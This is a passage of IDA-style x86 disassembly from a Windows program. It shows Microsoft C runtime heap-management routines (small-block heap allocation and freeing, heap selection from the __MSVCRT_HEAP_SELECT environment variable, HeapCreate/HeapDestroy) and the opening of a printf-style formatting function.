		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx

loc_4250E3:				; CODE XREF: sub_424FD0+F9j
		jmp	short loc_425150
; ---------------------------------------------------------------------------

loc_4250E5:				; CODE XREF: sub_424FD0+B4j
		mov	ecx, [ebp+var_24]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	ecx, [edx+ecx*4+0C4h]
		and	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_3C]
		mov	[eax+edx*4+0C4h], ecx
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_24]
		mov	dl, [ecx+4]
		sub	dl, 1
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_24]
		mov	[eax+4], dl
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_24]
		movsx	edx, byte ptr [ecx+4]
		test	edx, edx
		jnz	short loc_425150
		mov	ecx, [ebp+var_24]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		and	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx

loc_425150:				; CODE XREF: sub_424FD0+AAj
					; sub_424FD0:loc_4250E3j ...
		mov	ecx, [ebp+var_38]
		mov	edx, [ecx+8]
		mov	eax, [ebp+var_38]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_38]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_38]
		mov	edx, [ecx+8]
		mov	[eax+8], edx
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_14]
		mov	[ebp+var_30], eax

loc_425177:				; CODE XREF: sub_424FD0+7Fj
		mov	ecx, [ebp+var_30]
		sar	ecx, 4
		sub	ecx, 1
		mov	[ebp+var_28], ecx
		cmp	[ebp+var_28], 3Fh
		jbe	short loc_425190
		mov	[ebp+var_28], 3Fh

loc_425190:				; CODE XREF: sub_424FD0+1B7j
		mov	edx, [ebp+var_C]
		and	edx, 1
		test	edx, edx
		jnz	loc_4252F4
		mov	eax, [ebp+var_1C]
		sub	eax, [ebp+var_C]
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_C]
		sar	ecx, 4
		sub	ecx, 1
		mov	[ebp+var_2C], ecx
		cmp	[ebp+var_2C], 3Fh
		jbe	short loc_4251C0
		mov	[ebp+var_2C], 3Fh

loc_4251C0:				; CODE XREF: sub_424FD0+1E7j
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_C]
		mov	[ebp+var_30], edx
		mov	eax, [ebp+var_30]
		sar	eax, 4
		sub	eax, 1
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 3Fh
		jbe	short loc_4251E2
		mov	[ebp+var_28], 3Fh

loc_4251E2:				; CODE XREF: sub_424FD0+209j
		mov	ecx, [ebp+var_2C]
		cmp	ecx, [ebp+var_28]
		jz	loc_4252EE
		mov	edx, [ebp+var_34]
		mov	eax, [ebp+var_34]
		mov	ecx, [edx+4]
		cmp	ecx, [eax+8]
		jnz	loc_4252D0
		cmp	[ebp+var_2C], 20h
		jnb	short loc_425265
		mov	edx, 80000000h
		mov	ecx, [ebp+var_2C]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_3C]
		mov	eax, [ecx+eax*4+44h]
		and	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	[edx+ecx*4+44h], eax
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_2C]
		mov	cl, [eax+4]
		sub	cl, 1
		mov	edx, [ebp+var_3C]
		add	edx, [ebp+var_2C]
		mov	[edx+4], cl
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_2C]
		movsx	ecx, byte ptr [eax+4]
		test	ecx, ecx
		jnz	short loc_425263
		mov	edx, 80000000h
		mov	ecx, [ebp+var_2C]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx

loc_425263:				; CODE XREF: sub_424FD0+279j
		jmp	short loc_4252D0
; ---------------------------------------------------------------------------

loc_425265:				; CODE XREF: sub_424FD0+234j
		mov	ecx, [ebp+var_2C]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	ecx, [edx+ecx*4+0C4h]
		and	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_3C]
		mov	[eax+edx*4+0C4h], ecx
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_2C]
		mov	dl, [ecx+4]
		sub	dl, 1
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_2C]
		mov	[eax+4], dl
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_2C]
		movsx	edx, byte ptr [ecx+4]
		test	edx, edx
		jnz	short loc_4252D0
		mov	ecx, [ebp+var_2C]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		and	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx

loc_4252D0:				; CODE XREF: sub_424FD0+22Aj
					; sub_424FD0:loc_425263j ...
		mov	ecx, [ebp+var_34]
		mov	edx, [ecx+8]
		mov	eax, [ebp+var_34]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_34]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_34]
		mov	edx, [ecx+8]
		mov	[eax+8], edx

loc_4252EE:				; CODE XREF: sub_424FD0+218j
		mov	eax, [ebp+var_34]
		mov	[ebp+var_1C], eax

loc_4252F4:				; CODE XREF: sub_424FD0+1C8j
		mov	ecx, [ebp+var_C]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_42530A
		mov	edx, [ebp+var_2C]
		cmp	edx, [ebp+var_28]
		jz	loc_42541A

loc_42530A:				; CODE XREF: sub_424FD0+32Cj
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_8]
		lea	edx, [ecx+eax*8]
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_20]
		mov	[eax+8], ecx
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx+4]
		mov	eax, [ebp+var_1C]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_1C]
		mov	eax, [ecx+4]
		cmp	eax, [edx+8]
		jnz	loc_42541A
		cmp	[ebp+var_28], 20h
		jnb	short loc_4253B3
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_28]
		movsx	edx, byte ptr [ecx+4]
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_28]
		mov	cl, [eax+4]
		add	cl, 1
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_28]
		mov	[eax+4], cl
		test	edx, edx
		jnz	short loc_425391
		mov	edx, 80000000h
		mov	ecx, [ebp+var_28]
		shr	edx, cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx

loc_425391:				; CODE XREF: sub_424FD0+3A9j
		mov	eax, 80000000h
		mov	ecx, [ebp+var_28]
		shr	eax, cl
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	ecx, [edx+ecx*4+44h]
		or	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_3C]
		mov	[eax+edx*4+44h], ecx
		jmp	short loc_42541A
; ---------------------------------------------------------------------------

loc_4253B3:				; CODE XREF: sub_424FD0+386j
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_28]
		movsx	edx, byte ptr [ecx+4]
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_28]
		mov	cl, [eax+4]
		add	cl, 1
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_28]
		mov	[eax+4], cl
		test	edx, edx
		jnz	short loc_4253F1
		mov	ecx, [ebp+var_28]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx

loc_4253F1:				; CODE XREF: sub_424FD0+404j
		mov	ecx, [ebp+var_28]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	ecx, [edx+ecx*4+0C4h]
		or	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_3C]
		mov	[eax+edx*4+0C4h], ecx

loc_42541A:				; CODE XREF: sub_424FD0+334j
					; sub_424FD0+37Cj ...
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_30]
		mov	[ecx], edx
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_30]
		mov	[eax-4], ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+var_8]
		mov	[ecx], eax
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx], 0
		jnz	loc_4255A8
		cmp	Dst, 0
		jz	loc_425597
		mov	eax, dword_4F4E74
		shl	eax, 0Fh
		mov	ecx, Dst
		mov	edx, [ecx+0Ch]
		add	edx, eax
		mov	[ebp+var_18], edx
		push	4000h
		push	8000h
		mov	eax, [ebp+var_18]
		push	eax
		call	ds:dword_4F64E4	; VirtualFree
		mov	edx, 80000000h
		mov	ecx, dword_4F4E74
		shr	edx, cl
		mov	eax, Dst
		mov	ecx, [eax+8]
		or	ecx, edx
		mov	edx, Dst
		mov	[edx+8], ecx
		mov	eax, Dst
		mov	ecx, [eax+10h]
		mov	edx, dword_4F4E74
		mov	dword ptr [ecx+edx*4+0C4h], 0
		mov	eax, Dst
		mov	ecx, [eax+10h]
		mov	dl, [ecx+43h]
		sub	dl, 1
		mov	eax, Dst
		mov	ecx, [eax+10h]
		mov	[ecx+43h], dl
		mov	edx, Dst
		mov	eax, [edx+10h]
		movsx	ecx, byte ptr [eax+43h]
		test	ecx, ecx
		jnz	short loc_4254F5
		mov	edx, Dst
		mov	eax, [edx+4]
		and	al, 0FEh
		mov	ecx, Dst
		mov	[ecx+4], eax

loc_4254F5:				; CODE XREF: sub_424FD0+50Fj
		mov	edx, Dst
		cmp	dword ptr [edx+8], 0FFFFFFFFh
		jnz	loc_425597
		push	8000h
		push	0
		mov	eax, Dst
		mov	ecx, [eax+0Ch]
		push	ecx
		call	ds:dword_4F64E4	; VirtualFree
		mov	edx, Dst
		mov	eax, [edx+10h]
		push	eax
		push	0
		mov	ecx, dword_4F4E68
		push	ecx
		call	ds:dword_4F6448	; RtlFreeHeap
		mov	edx, dword_4F4E84
		imul	edx, 14h
		mov	eax, dword_4F4E88
		add	eax, edx
		mov	ecx, Dst
		add	ecx, 14h
		sub	eax, ecx
		push	eax		; Size
		mov	edx, Dst
		add	edx, 14h
		push	edx		; Src
		mov	eax, Dst
		push	eax		; Dst
		call	_memcpy_0
		add	esp, 0Ch
		mov	ecx, dword_4F4E84
		sub	ecx, 1
		mov	dword_4F4E84, ecx
		mov	edx, [ebp+arg_0]
		cmp	edx, Dst
		jbe	short loc_42558B
		mov	eax, [ebp+arg_0]
		sub	eax, 14h
		mov	[ebp+arg_0], eax

loc_42558B:				; CODE XREF: sub_424FD0+5B0j
		mov	ecx, dword_4F4E88
		mov	dword_4F4E78, ecx

loc_425597:				; CODE XREF: sub_424FD0+47Ej
					; sub_424FD0+52Fj
		mov	edx, [ebp+arg_0]
		mov	Dst, edx
		mov	eax, [ebp+var_4]
		mov	dword_4F4E74, eax

loc_4255A8:				; CODE XREF: sub_424FD0+58j
					; sub_424FD0+471j
		mov	esp, ebp
		pop	ebp
		retn
sub_424FD0	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000536 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [0000010F BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000001EE BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000005EB BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000130 BYTES: COLLAPSED FUNCTION ___sbh_heapmin. PRESS KEYPAD "+" TO EXPAND]
; [0000061D BYTES: COLLAPSED FUNCTION ___sbh_heap_check. PRESS KEYPAD "+" TO EXPAND]
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, dword_454DFC
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [0000002B BYTES: COLLAPSED FUNCTION __set_sbh_threshold. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [000001DE BYTES: COLLAPSED FUNCTION ___sbh_new_region. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000073 BYTES: COLLAPSED FUNCTION ___sbh_release_region. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000157 BYTES: COLLAPSED FUNCTION ___sbh_decommit_pages. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000090 BYTES: COLLAPSED FUNCTION ___sbh_find_block_0. PRESS KEYPAD	"+" TO EXPAND]
; [0000006C BYTES: COLLAPSED FUNCTION ___sbh_free_block. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000003B8 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block_0. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [000002A9 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block_from_page. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000164 BYTES: COLLAPSED FUNCTION ___sbh_resize_block_0. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000237 BYTES: COLLAPSED FUNCTION ___sbh_heap_check_0. PRESS KEYPAD	"+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427A50	proc near		; CODE XREF: .text:00424E12p
					; sub_427AB0+1FBp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 0
		push	0
		call	ds:dword_4F63A4	; GetModuleHandleA
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dx, [ecx]
		cmp	edx, 5A4Dh
		jnz	short loc_427A83
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax+3Ch], 0
		jnz	short loc_427A85

loc_427A83:				; CODE XREF: sub_427A50+28j
		jmp	short loc_427AA8
; ---------------------------------------------------------------------------

loc_427A85:				; CODE XREF: sub_427A50+31j
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_8]
		add	edx, [ecx+3Ch]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx+1Ah]
		mov	[eax], dl
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx+1Bh]
		mov	[eax+1], dl

loc_427AA8:				; CODE XREF: sub_427A50:loc_427A83j
		mov	esp, ebp
		pop	ebp
		retn
sub_427A50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427AB0	proc near		; CODE XREF: sub_427CE0:loc_427D0Cp

Str		= dword	ptr -1238h
var_1234	= dword	ptr -1234h
var_1230	= dword	ptr -1230h
SubStr		= byte ptr -122Ch
Str2		= byte ptr -1128h
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 1238h
		call	__alloca_probe
		mov	[ebp+Str], 0
		mov	[ebp+var_98], 94h
		lea	eax, [ebp+var_98]
		push	eax
		call	ds:dword_4F63D0	; GetVersionExA
		test	eax, eax
		jz	short loc_427AFE
		cmp	[ebp+var_88], 2
		jnz	short loc_427AFE
		cmp	[ebp+var_94], 5
		jb	short loc_427AFE
		mov	eax, 1
		jmp	loc_427CD0
; ---------------------------------------------------------------------------

loc_427AFE:				; CODE XREF: sub_427AB0+30j
					; sub_427AB0+39j ...
		push	1090h
		lea	ecx, [ebp+Str2]
		push	ecx
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	ds:dword_4F64EC	; GetEnvironmentVariableA
		test	eax, eax
		jz	loc_427CA4
		lea	edx, [ebp+Str2]
		mov	[ebp+var_4], edx
		jmp	short loc_427B31
; ---------------------------------------------------------------------------

loc_427B28:				; CODE XREF: sub_427AB0:loc_427B5Ej
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax

loc_427B31:				; CODE XREF: sub_427AB0+76j
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_427B60
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 61h
		jl	short loc_427B5E
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 7Ah
		jg	short loc_427B5E
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		add	dl, 0E0h
		mov	eax, [ebp+var_4]
		mov	[eax], dl

loc_427B5E:				; CODE XREF: sub_427AB0+94j
					; sub_427AB0+9Fj
		jmp	short loc_427B28
; ---------------------------------------------------------------------------

loc_427B60:				; CODE XREF: sub_427AB0+89j
		push	16h		; MaxCount
		lea	ecx, [ebp+Str2]
		push	ecx		; Str2
		push	offset Str1	; "__GLOBAL_HEAP_SELECTED"
		call	_strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_427B88
		lea	edx, [ebp+Str2]
		mov	[ebp+Str], edx
		jmp	short loc_427BFB
; ---------------------------------------------------------------------------

loc_427B88:				; CODE XREF: sub_427AB0+C8j
		push	104h
		lea	eax, [ebp+SubStr]
		push	eax
		push	0
		call	ds:dword_4F6378	; GetModuleFileNameA
		lea	ecx, [ebp+SubStr]
		mov	[ebp+var_4], ecx
		jmp	short loc_427BB0
; ---------------------------------------------------------------------------

loc_427BA7:				; CODE XREF: sub_427AB0:loc_427BDDj
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx

loc_427BB0:				; CODE XREF: sub_427AB0+F5j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_427BDF
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 61h
		jl	short loc_427BDD
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 7Ah
		jg	short loc_427BDD
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		add	cl, 0E0h
		mov	edx, [ebp+var_4]
		mov	[edx], cl

loc_427BDD:				; CODE XREF: sub_427AB0+113j
					; sub_427AB0+11Ej
		jmp	short loc_427BA7
; ---------------------------------------------------------------------------

loc_427BDF:				; CODE XREF: sub_427AB0+108j
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		lea	ecx, [ebp+Str2]
		push	ecx		; Str
		call	_strstr
		add	esp, 8
		mov	[ebp+Str], eax

loc_427BFB:				; CODE XREF: sub_427AB0+D6j
		cmp	[ebp+Str], 0
		jz	loc_427CA4
		push	2Ch		; Val
		mov	edx, [ebp+Str]
		push	edx		; Str
		call	_strchr
		add	esp, 8
		mov	[ebp+Str], eax
		cmp	[ebp+Str], 0
		jz	short loc_427CA4
		mov	eax, [ebp+Str]
		add	eax, 1
		mov	[ebp+Str], eax
		mov	ecx, [ebp+Str]
		mov	[ebp+var_4], ecx

loc_427C40:				; CODE XREF: sub_427AB0:loc_427C66j
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_427C68
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 3Bh
		jnz	short loc_427C5D
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	0
		jmp	short loc_427C66
; ---------------------------------------------------------------------------

loc_427C5D:				; CODE XREF: sub_427AB0+1A3j
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx

loc_427C66:				; CODE XREF: sub_427AB0+1ABj
		jmp	short loc_427C40
; ---------------------------------------------------------------------------

loc_427C68:				; CODE XREF: sub_427AB0+198j
		push	0Ah		; Radix
		push	0		; EndPtr
		mov	edx, [ebp+Str]
		push	edx		; Str
		call	_strtol
		add	esp, 0Ch
		mov	[ebp+var_1230],	eax
		cmp	[ebp+var_1230],	2
		jz	short loc_427C9C
		cmp	[ebp+var_1230],	3
		jz	short loc_427C9C
		cmp	[ebp+var_1230],	1
		jnz	short loc_427CA4

loc_427C9C:				; CODE XREF: sub_427AB0+1D8j
					; sub_427AB0+1E1j
		mov	eax, [ebp+var_1230]
		jmp	short loc_427CD0
; ---------------------------------------------------------------------------

loc_427CA4:				; CODE XREF: sub_427AB0+67j
					; sub_427AB0+152j ...
		lea	eax, [ebp+var_1234]
		push	eax
		call	sub_427A50
		add	esp, 4
		mov	ecx, [ebp+var_1234]
		and	ecx, 0FFh
		cmp	ecx, 6
		jl	short loc_427CCB
		mov	eax, 3
		jmp	short loc_427CD0
; ---------------------------------------------------------------------------

loc_427CCB:				; CODE XREF: sub_427AB0+212j
		mov	eax, 2

loc_427CD0:				; CODE XREF: sub_427AB0+49j
					; sub_427AB0+1F2j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_427AB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427CE0	proc near		; CODE XREF: start+7Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	1000h
		xor	eax, eax
		cmp	[ebp+arg_0], 0
		setz	al
		push	eax
		call	ds:dword_4F64F4	; HeapCreate
		mov	dword_4F4E68, eax
		cmp	dword_4F4E68, 0
		jnz	short loc_427D0C
		xor	eax, eax
		jmp	short loc_427D6B
; ---------------------------------------------------------------------------

loc_427D0C:				; CODE XREF: sub_427CE0+26j
		call	sub_427AB0
		mov	dword_4F4E6C, eax
		cmp	dword_4F4E6C, 3
		jnz	short loc_427D43
		push	3F8h
		call	___sbh_heap_init
		add	esp, 4
		test	eax, eax
		jnz	short loc_427D41
		mov	ecx, dword_4F4E68
		push	ecx
		call	ds:dword_4F64F0	; HeapDestroy
		xor	eax, eax
		jmp	short loc_427D6B
; ---------------------------------------------------------------------------

loc_427D41:				; CODE XREF: sub_427CE0+4Ej
		jmp	short loc_427D66
; ---------------------------------------------------------------------------

loc_427D43:				; CODE XREF: sub_427CE0+3Dj
		cmp	dword_4F4E6C, 2
		jnz	short loc_427D66
		call	___sbh_new_region
		test	eax, eax
		jnz	short loc_427D66
		mov	edx, dword_4F4E68
		push	edx
		call	ds:dword_4F64F0	; HeapDestroy
		xor	eax, eax
		jmp	short loc_427D6B
; ---------------------------------------------------------------------------

loc_427D66:				; CODE XREF: sub_427CE0:loc_427D41j
					; sub_427CE0+6Aj ...
		mov	eax, 1

loc_427D6B:				; CODE XREF: sub_427CE0+2Aj
					; sub_427CE0+5Fj ...
		pop	ebp
		retn
sub_427CE0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	dword_4F4E6C, 3
		jnz	loc_427E0A
		mov	eax, dword_4F4E88
		mov	[ebp-8], eax
		mov	dword ptr [ebp-4], 0
		jmp	short loc_427D9D
; ---------------------------------------------------------------------------

loc_427D94:				; CODE XREF: .text:00427DF1j
		mov	ecx, [ebp-4]
		add	ecx, 1
		mov	[ebp-4], ecx

loc_427D9D:				; CODE XREF: .text:00427D92j
		mov	edx, [ebp-4]
		cmp	edx, dword_4F4E84
		jge	short loc_427DF3
		push	4000h
		push	100000h
		mov	eax, [ebp-8]
		mov	ecx, [eax+0Ch]
		push	ecx
		call	ds:dword_4F64E4	; VirtualFree
		push	8000h
		push	0
		mov	edx, [ebp-8]
		mov	eax, [edx+0Ch]
		push	eax
		call	ds:dword_4F64E4	; VirtualFree
		mov	ecx, [ebp-8]
		mov	edx, [ecx+10h]
		push	edx
		push	0
		mov	eax, dword_4F4E68
		push	eax
		call	ds:dword_4F6448	; RtlFreeHeap
		mov	ecx, [ebp-8]
		add	ecx, 14h
		mov	[ebp-8], ecx
		jmp	short loc_427D94
; ---------------------------------------------------------------------------

loc_427DF3:				; CODE XREF: .text:00427DA6j
		mov	edx, dword_4F4E88
		push	edx
		push	0
		mov	eax, dword_4F4E68
		push	eax
		call	ds:dword_4F6448	; RtlFreeHeap
		jmp	short loc_427E48
; ---------------------------------------------------------------------------

loc_427E0A:				; CODE XREF: .text:00427D7Dj
		cmp	dword_4F4E6C, 2
		jnz	short loc_427E48
		mov	dword ptr [ebp-0Ch], offset off_452DD8

loc_427E1A:				; CODE XREF: .text:00427E46j
		mov	ecx, [ebp-0Ch]
		cmp	dword ptr [ecx+10h], 0
		jz	short loc_427E37
		push	8000h
		push	0
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+10h]
		push	eax
		call	ds:dword_4F64E4	; VirtualFree

loc_427E37:				; CODE XREF: .text:00427E21j
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx]
		mov	[ebp-0Ch], edx
		cmp	dword ptr [ebp-0Ch], offset off_452DD8
		jnz	short loc_427E1A

loc_427E48:				; CODE XREF: .text:00427E08j
					; .text:00427E11j
		mov	eax, dword_4F4E68
		push	eax
		call	ds:dword_4F64F0	; HeapDestroy
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [000000B7 BYTES: COLLAPSED FUNCTION __isctype. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000001E4 BYTES: COLLAPSED FUNCTION __filbuf.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000082 BYTES: COLLAPSED FUNCTION __read. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000445 BYTES: COLLAPSED FUNCTION __read_lk. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000031D BYTES: COLLAPSED FUNCTION __openfile. PRESS	KEYPAD "+" TO EXPAND]
off_42890D	dd offset loc_42873B	; DATA XREF: __openfile+144r
		dd offset loc_428866
		dd offset loc_428825
		dd offset loc_428804
		dd offset loc_428846
		dd offset loc_428775
		dd offset loc_4287BC
		dd offset loc_4287E0
		dd offset loc_428799
		dd offset loc_428883
byte_428935	db 0			; DATA XREF: __openfile+13Er
		dw 909h
		dd 5 dup(9090909h), 9010909h, 3	dup(9090909h), 9040302h
		dd 3 dup(9090909h), 9090605h, 2	dup(9090909h), 9090907h
		dd 0CC080909h
; [00000180 BYTES: COLLAPSED FUNCTION __getstream. PRESS KEYPAD	"+" TO EXPAND]
; [00000274 BYTES: COLLAPSED FUNCTION __flsbuf.	PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_428D80(FILE *File,int,int)

sub_428D80	proc near		; CODE XREF: _sprintf+9Ap
					; __snprintf+99p ...

var_2AA		= word ptr -2AAh
var_2A8		= dword	ptr -2A8h
var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= dword	ptr -28Ch
var_288		= dword	ptr -288h
var_284		= dword	ptr -284h
var_280		= dword	ptr -280h
var_27C		= dword	ptr -27Ch
var_278		= dword	ptr -278h
var_274		= dword	ptr -274h
var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= dword	ptr -268h
var_264		= dword	ptr -264h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= dword	ptr -258h
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= word ptr -24Ch
var_248		= dword	ptr -248h
var_244		= dword	ptr -244h
var_240		= dword	ptr -240h
var_23C		= dword	ptr -23Ch
Size		= dword	ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
MbCh		= byte ptr -22Ch
var_2D		= byte ptr -2Dh
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
Str		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
WCh		= word ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
File		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2ACh
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_28], 0
		mov	[ebp+var_230], 0
		mov	[ebp+var_1C], 0
